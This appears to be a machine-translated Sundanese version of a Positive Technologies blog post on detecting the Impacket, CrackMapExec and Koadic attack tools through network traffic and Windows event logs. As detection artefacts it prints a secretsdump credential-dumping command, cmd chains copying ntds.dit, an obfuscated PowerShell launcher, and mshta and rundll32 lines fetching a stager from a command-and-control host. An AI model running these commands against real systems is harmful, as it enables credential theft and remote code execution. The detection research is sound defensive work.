Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker

Jumlah serangan di sektor perusahaan ngembang unggal taun: contona dina 2017, 13% leuwih insiden unik kacatet ti taun 2016, sareng dina ahir taun 2018 - 27% deui kajadianti dina période saméméhna. Kaasup anu mana alat kerja utama nyaéta sistem operasi Windows. Taun 2017-2018, APT Capung, APT28, APT MuddyWater ngalaksanakeun serangan ka organisasi pamaréntah jeung militér di Éropa, Amérika Kalér jeung Arab Saudi. Sareng kami nganggo tilu alat pikeun ieu - Impacket, CrackMapExec и Koadic. Kode sumberna kabuka sareng sayogi dina GitHub.

Perhatos yén alat-alat ieu henteu dianggo pikeun penetrasi awal, tapi pikeun ngembangkeun serangan dina infrastruktur. Panyerang nganggo aranjeunna dina tahapan serangan anu béda-béda saatos penetrasi perimeter. Ku jalan kitu, hese dideteksi sareng sering ngan ukur nganggo téknologi ngaidentipikasi jejak kompromi dina lalu lintas jaringan atawa parabot nu ngidinan ngadeteksi tindakan aktif panyerang saatos anjeunna nembus infrastruktur. Parabot nyadiakeun rupa-rupa pungsi, ti nransferkeun payil ka interacting jeung pendaptaran jeung executing paréntah dina mesin jauh. Urang ngalaksanakeun ulikan ngeunaan parabot ieu pikeun nangtukeun aktivitas jaringan maranéhanana.

Naon anu urang kedah laksanakeun:

  • Ngartos kumaha alat Hacking jalan. Pilarian naon anu kedah dimanfaatkeun ku panyerang sareng téknologi naon anu tiasa dianggo.
  • Milarian naon anu henteu dideteksi ku alat kaamanan inpormasi dina tahap awal serangan. Fase pangintipan tiasa dilewatan, boh kusabab panyerang mangrupikeun panyerang internal, atanapi kusabab panyerang ngeksploitasi liang dina prasarana anu henteu dipikanyaho sateuacana. Janten mungkin pikeun mulangkeun sakabéh ranté lampah-Na, ku kituna kahayang pikeun ngadeteksi gerakan salajengna.
  • Ngaleungitkeun positip palsu tina alat deteksi intrusion. Urang teu kudu poho yén lamun lampah tangtu nu dideteksi dina dasar pangintipan nyalira, kasalahan sering anu mungkin. Biasana dina infrastruktur aya sajumlah cara anu cukup, teu tiasa dibédakeun tina anu sah dina pandangan kahiji, pikeun kéngingkeun inpormasi naon waé.

Naon anu dipasihkeun ku alat ieu ka panyerang? Upami ieu Impacket, teras panyerang nampi perpustakaan modul anu ageung anu tiasa dianggo dina tahapan anu béda tina serangan anu nuturkeun saatos ngalanggar perimeter. Seueur alat anu nganggo modul Impacket sacara internal - contona, Metasploit. Cai mibanda dcomexec na wmiexec pikeun palaksanaan paréntah jauh, secretsdump pikeun meunangkeun rekening ti memori nu ditambahkeun ti Impacket. Hasilna, deteksi anu leres tina kagiatan perpustakaan sapertos kitu bakal mastikeun deteksi turunan.

Henteu kabeneran yén panyipta nyerat "Powered by Impacket" ngeunaan CrackMapExec (atanapi ngan saukur CME). Sajaba ti éta, CME boga fungsionalitas siap-dijieun pikeun skenario populér: Mimikatz pikeun ménta kecap akses atawa hashes maranéhna, palaksanaan Meterpreter atanapi Kakaisaran agén pikeun palaksanaan jauh, sarta Bloodhound on dewan.

Alat katilu anu kami pilih nyaéta Koadic. Ieu rada anyar, éta dibere dina konferensi hacker internasional DEFCON 25 di 2017 sarta dibédakeun ku pendekatan non-standar: gawéna via HTTP, Java Script jeung Microsoft Visual Basic Script (VBS). Pendekatan ieu disebut hirup di bumi: alatna nganggo sakumpulan katergantungan sareng perpustakaan anu diwangun kana Windows. Panyipta nyauran éta COM Command & Control, atanapi C3.

IMPACKET

fungsionalitas Impacket urang pisan lega, mimitian ti pangintipan jero AD sarta ngumpulkeun data ti server MS SQL internal, mun téhnik pikeun meunangkeun Kapercayaan: ieu mangrupa serangan relay SMB, sarta ménta file ntds.dit ngandung hashes tina kecap akses pamaké ti controller domain. Impacket ogé ngalaksanakeun paréntah tina jarak jauh nganggo opat metode anu béda: WMI, Windows Scheduler Management Service, DCOM, sareng SMB, sareng meryogikeun kredensial pikeun ngalakukeunana.

Secretsdump

Hayu urang tingali dina secretsdump. Ieu mangrupikeun modul anu tiasa nargétkeun mesin pangguna sareng pangendali domain. Ieu bisa dipaké pikeun ménta salinan wewengkon memori LSA, Sam, Kaamanan, NTDS.dit, ku kituna bisa ditempo dina tahap béda tina serangan. Léngkah munggaran dina operasi modul nyaéta auténtikasi via SMB, anu meryogikeun kecap akses pangguna atanapi hash pikeun otomatis ngalaksanakeun serangan Pass the Hash. Salajengna aya pamundut pikeun muka aksés ka Service Control Manager (SCM) sareng kéngingkeun aksés kana pendaptaran liwat protokol winreg, anu nganggo panyerang tiasa mendakan data cabang anu dipikaresep sareng kéngingkeun hasil ngalangkungan SMB.

Dina Gbr. 1 urang tingali kumaha persis lamun ngagunakeun protokol winreg, aksés diala maké konci pendaptaran kalawan LSA. Jang ngalampahkeun ieu, make paréntah DCERPC kalawan opcode 15 - OpenKey.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 1. Muka konci pendaptaran ngagunakeun protokol winreg

Salajengna, nalika aksés ka konci dicandak, nilai disimpen kalayan paréntah SaveKey sareng opcode 20. Impacket ngalakukeun ieu ku cara anu khusus. Éta ngahémat nilai-nilai kana file anu namina mangrupikeun senar 8 karakter acak anu ditambahan sareng .tmp. Sajaba ti éta, unggah salajengna file ieu lumangsung via SMB ti diréktori System32 (Gbr. 2).

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 2. Skéma pikeun meunangkeun konci pendaptaran ti mesin jauh

Tétéla yén kagiatan sapertos dina jaringan tiasa dideteksi ku patarosan ka cabang pendaptaran anu tangtu nganggo protokol winreg, nami khusus, paréntah sareng urutanna.

Modul ieu ogé ninggalkeun jejak dina log acara Windows, sahingga gampang dideteksi. Contona, salaku hasil tina executing paréntah

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Dina log Windows Server 2016 urang bakal ningali runtuyan konci kajadian ieu:

1. 4624 - Logon jauh.
2. 5145 - mariksa hak aksés ka layanan jauh winreg.
3. 5145 - mariksa hak aksés file dina diréktori System32. Berkasna ngagaduhan nami acak anu disebatkeun di luhur.
4. 4688 - nyiptakeun prosés cmd.exe anu ngajalankeun vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - nyiptakeun prosés kalayan paréntah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - nyiptakeun prosés kalayan paréntah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - nyiptakeun prosés kalayan paréntah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Kawas loba parabot pos-eksploitasi, Impacket boga modul pikeun jarak jauh executing paréntah. Urang bakal difokuskeun smbexec, nu nyadiakeun cangkang paréntah interaktif dina mesin jauh. modul ieu ogé merlukeun auténtikasi via SMB, boh ku sandi atawa hash sandi. Dina Gbr. Dina Gambar 3 kami ningali conto kumaha alat sapertos dianggo, dina hal ieu mangrupikeun konsol administrator lokal.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 3. konsol smbexec interaktif

Léngkah munggaran smbexec saatos auténtikasi nyaéta muka SCM kalayan paréntah OpenSCManagerW (15). Patarosan ieu kasohor: widang MachineName nyaeta DUMMY.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 4. Nyuhunkeun muka Service Control Manager

Salajengna, jasa éta didamel nganggo paréntah CreateServiceW (12). Dina kasus smbexec, urang tiasa ningali logika konstruksi paréntah anu sami unggal waktos. Dina Gbr. 5 héjo nunjukkeun parameter paréntah anu teu tiasa dirobih, konéng nunjukkeun naon anu tiasa robih panyerang. Gampang ningali yén nami file anu tiasa dieksekusi, diréktori na sareng file kaluaran tiasa dirobih, tapi sésana langkung sesah dirobih tanpa ngaganggu logika modul Impacket.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 5. Nyuhunkeun ngadamel jasa nganggo Service Control Manager

Smbexec ogé nyéépkeun jejak anu atra dina log acara Windows. Dina log Windows Server 2016 pikeun cangkang paréntah interaktif sareng paréntah ipconfig, urang bakal ningali runtuyan acara konci ieu:

1. 4697 - pamasangan jasa dina mesin korban:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - nyiptakeun prosés cmd.exe sareng argumen tina titik 1.
3. 5145 - mariksa hak aksés ka file __output dina C $ diréktori.
4. 4697 - pamasangan jasa dina mesin korban.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - nyiptakeun prosés cmd.exe sareng argumen tina titik 4.
6. 5145 - mariksa hak aksés ka file __output dina C $ diréktori.

Impacket mangrupikeun dasar pikeun ngembangkeun alat serangan. Éta ngadukung ampir sadaya protokol dina infrastruktur Windows sareng dina waktos anu sami gaduh fitur karakteristik sorangan. Di dieu requests winreg husus, sarta pamakéan SCM API kalawan formasi paréntah ciri, sarta format ngaran file, sarta SMB dibagikeun SYSTEM32.

CRACKMAPEXEC

Alat CME dirancang utamina pikeun ngajadikeun otomatis tindakan rutin anu kedah dilakukeun ku panyerang pikeun maju dina jaringan. Eta ngidinan Anjeun pikeun digawé ditéang jeung agén Kakaisaran well-dipikawanoh tur Meterpreter. Pikeun ngaéksekusi paréntah sacara rahasia, CME tiasa ngabingungkeunana. Nganggo Bloodhound (alat pangintipan anu misah), panyerang tiasa ngajadikeun otomatis milarian sési administrator domain anu aktip.

anjing getih

Bloodhound, salaku alat mandiri, ngamungkinkeun pikeun pangintipan canggih dina jaringan. Éta ngumpulkeun data ngeunaan pangguna, mesin, grup, sesi sareng disayogikeun salaku skrip PowerShell atanapi file binér. LDAP atawa protokol basis SMB dipaké pikeun ngumpulkeun informasi. Modul integrasi CME ngamungkinkeun Bloodhound diundeur ka mesin korban, ngajalankeun sarta tampa petunjuk data dikumpulkeun sanggeus palaksanaan, kukituna automating lampah dina sistem jeung nyieun eta kirang noticeable. Cangkang grafis Bloodhound nampilkeun data anu dikumpulkeun dina bentuk grafik, anu ngamungkinkeun anjeun mendakan jalur anu paling pondok tina mesin panyerang ka administrator domain.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 6. Antarmuka Bloodhound

Pikeun ngajalankeun dina mesin korban, modul nyieun tugas maké ATSVC na SMB. ATSVC mangrupikeun antarmuka pikeun damel sareng Windows Task Scheduler. CME ngagunakeun fungsi NetrJobAdd (1) na pikeun nyieun tugas ngaliwatan jaringan. Conto naon anu dikirimkeun ku modul CME dipidangkeun dina Gbr. 7: Ieu mangrupikeun panggero paréntah cmd.exe sareng kode obfuscated dina bentuk argumen dina format XML.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Gbr.7. Nyieun tugas via CME

Saatos tugas geus dikintunkeun pikeun palaksanaan, dimimitian mesin korban Bloodhound sorangan, sarta ieu bisa ditempo dina lalulintas. modul nu dicirikeun ku queries LDAP pikeun ménta grup baku, daptar sadaya mesin sarta pamaké dina domain nu, sarta ménta informasi ngeunaan sesi pamaké aktif ngaliwatan pamundut SRVSVC NetSessEnum.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 8. Meunangkeun daptar sesi aktip via SMB

Salaku tambahan, ngaluncurkeun Bloodhound dina mesin korban kalayan pamariksaan diaktipkeun dibarengan ku acara kalayan ID 4688 (prosés nyiptakeun) sareng nami prosés. «C:WindowsSystem32cmd.exe». Anu kasohor ngeunaan éta nyaéta argumen baris paréntah:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

modul enum_avproducts pisan metot ti sudut pandang fungsionalitas sarta palaksanaan. WMI ngidinan Anjeun pikeun make basa query WQL pikeun meunangkeun data ti sagala rupa objék Windows, nu dasarna naon ngagunakeun modul CME ieu. Éta ngahasilkeun patarosan ka kelas AntiSpywareProduct sareng AntiМirusProduct ngeunaan alat panyalindungan anu dipasang dina mesin korban. Pikeun ménta data diperlukeun, modul nyambung ka rootSecurityCenter2 namespace, lajeng dibangkitkeun query WQL sarta narima respon. Dina Gbr. Gambar 9 nembongkeun eusi requests jeung réspon misalna. Dina conto urang, Windows Defender kapanggih.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 9. Aktivitas jaringan tina modul enum_avproducts

Seringna, auditing WMI (Trace WMI-Activity), dimana acara anjeun tiasa mendakan inpormasi anu mangpaat ngeunaan patarosan WQL, tiasa ditumpurkeun. Tapi upami diaktipkeun, teras upami skrip enum_avproducts dijalankeun, bakal disimpen acara sareng ID 11. Bakal ngandung nami pangguna anu ngirim pamundut sareng nami dina rohangan ngaran rootSecurityCenter2.

Masing-masing modul CME ngagaduhan artefak sorangan, janten patarosan WQL khusus atanapi nyiptakeun jinis tugas anu tangtu dina penjadwal tugas kalayan obfuscation sareng kagiatan khusus Bloodhound dina LDAP sareng SMB.

KOADIC

Fitur has Koadic nyaéta ngagunakeun juru basa JavaScript sareng VBScript anu diwangun kana Windows. Dina hal ieu, éta nuturkeun gaya hirup di darat - nyaéta, teu aya katergantungan éksternal sareng nganggo alat Windows standar. Ieu alat pikeun pinuh Komando & Control (CnC), saprak sanggeus inféksi hiji "implant" dipasang dina mesin, sahingga bisa dikawasa. Mesin sapertos kitu, dina terminologi Koadic, disebut "zombie". Upami aya hak husus anu teu cekap pikeun operasi pinuh di sisi korban, Koadic gaduh kamampuan pikeun ngangkat aranjeunna nganggo téknik bypass User Account Control (UAC bypass).

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 10. Cangkang Koadic

Korban kedah ngamimitian komunikasi sareng server Komando & Kontrol. Jang ngalampahkeun ieu, manéhna kudu ngahubungan URI saméméhna disiapkeun sarta nampa awak Koadic utama ngagunakeun salah sahiji stagers. Dina Gbr. angka 11 nembongkeun conto pikeun stager mshta.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 11. Initializing sési jeung server CnC

Dumasar kana variabel réspon WS, janten jelas yén palaksanaan lumangsung ngaliwatan WScript.Shell, sarta variabel STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE ngandung informasi konci ngeunaan parameter tina sési ayeuna. Ieu mangrupikeun pasangan pamundut-réspon anu munggaran dina sambungan HTTP sareng server CnC. requests saterusna langsung patali jeung fungsionalitas nu disebut modul (implants). Sadaya modul Koadic ngan ukur dianggo sareng sési aktip sareng CnC.

Mimikatz

Sapertos CME damel sareng Bloodhound, Koadic damel sareng Mimikatz salaku program anu misah sareng gaduh sababaraha cara pikeun ngaluncurkeunana. Di handap ieu pasangan pamundut-réspon pikeun ngundeur susuk Mimikatz.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 12. Mindahkeun Mimikatz ka Koadic

Anjeun tiasa ningali kumaha format URI dina pamundut parantos robih. Ayeuna ngandung nilai pikeun variabel csrf, anu tanggung jawab pikeun modul anu dipilih. Ulah merhatikeun ngaranna; Urang kabeh terang yén CSRF biasana dipikaharti béda. Tanggapan éta mangrupikeun badan utama Koadic anu sami, dimana kode anu aya hubunganana sareng Mimikatz ditambah. Ieu rada badag, jadi hayu urang nempo titik konci. Di dieu urang boga perpustakaan Mimikatz disandikeun dina base64, kelas .NET serialized nu bakal nyuntik eta, sarta argumen pikeun peluncuran Mimikatz. Hasil palaksanaan dikirimkeun ngaliwatan jaringan dina téks jelas.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 13. Hasil ngajalankeun Mimikatz dina mesin jauh

Exec_cmd

Koadic ogé gaduh modul anu tiasa ngalaksanakeun paréntah jarak jauh. Di dieu urang bakal ningali metode generasi URI anu sami sareng variabel sid sareng csrf anu akrab. Dina kasus modul exec_cmd, kode ditambahkeun kana awak anu sanggup ngajalankeun paréntah cangkang. Di handap ieu dipidangkeun kode sapertos anu aya dina réspon HTTP tina server CnC.

Kumaha ngadeteksi serangan dina infrastruktur Windows: diajar alat hacker
Sangu. 14. Kode implan exec_cmd

Variabel GAWTUUGCFI kalawan atribut WS akrab diperlukeun pikeun palaksanaan kode. Kalayan pitulungna, implant nyauran cangkang, ngolah dua cabang kode - shell.exec kalayan mulangkeun aliran data kaluaran sareng shell.run tanpa uih deui.

Koadic sanes alat anu biasa, tapi gaduh artefak sorangan anu tiasa dipendakan dina lalu lintas anu sah:

  • formasi husus requests HTTP,
  • ngagunakeun winHttpRequests API,
  • nyieun hiji objek WScript.Shell via ActiveXObject,
  • awak laksana badag.

Sambungan awal diprakarsai ku stager, ku kituna mungkin pikeun ngadeteksi aktivitasna ngaliwatan acara Windows. Pikeun mshta, ieu mangrupikeun acara 4688, anu nunjukkeun nyiptakeun prosés kalayan atribut ngamimitian:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Nalika Koadic dijalankeun, anjeun tiasa ningali acara 4688 anu sanés kalayan atribut anu sampurna cirina:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

papanggihan

The hirup kaluar trend darat ieu gaining popularitas diantara penjahat. Aranjeunna nganggo alat sareng mékanisme anu diwangun kana Windows pikeun kaperluanana. Kami ningali alat populér Koadic, CrackMapExec sareng Impacket nuturkeun prinsip ieu beuki muncul dina laporan APT. Jumlah garpu dina GitHub pikeun alat-alat ieu ogé ngembang, sareng anu anyar muncul (aya ayeuna sakitar sarébu). Tren ieu janten popularitas kusabab kesederhanaanna: panyerang henteu peryogi alat pihak katilu; aranjeunna parantos aya dina mesin korban sareng ngabantosan aranjeunna ngalangkungan ukuran kaamanan. Urang fokus kana diajar komunikasi jaringan: unggal alat ditétélakeun di luhur ninggalkeun ngambah sorangan dina lalulintas jaringan; ulikan lengkep aranjeunna diwenangkeun urang ngajarkeun produk urang PT Network Attack Discovery ngadeteksi aranjeunna, nu pamustunganana mantuan pikeun nalungtik sakabéh ranté tina insiden cyber ngalibetkeun aranjeunna.

pangarang:

  • Anton Tyurin, Kepala Dinas Jasa Ahli, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, ahli, PT Expert Security Center, Positive Technologies

sumber: www.habr.com

Tambahkeun komentar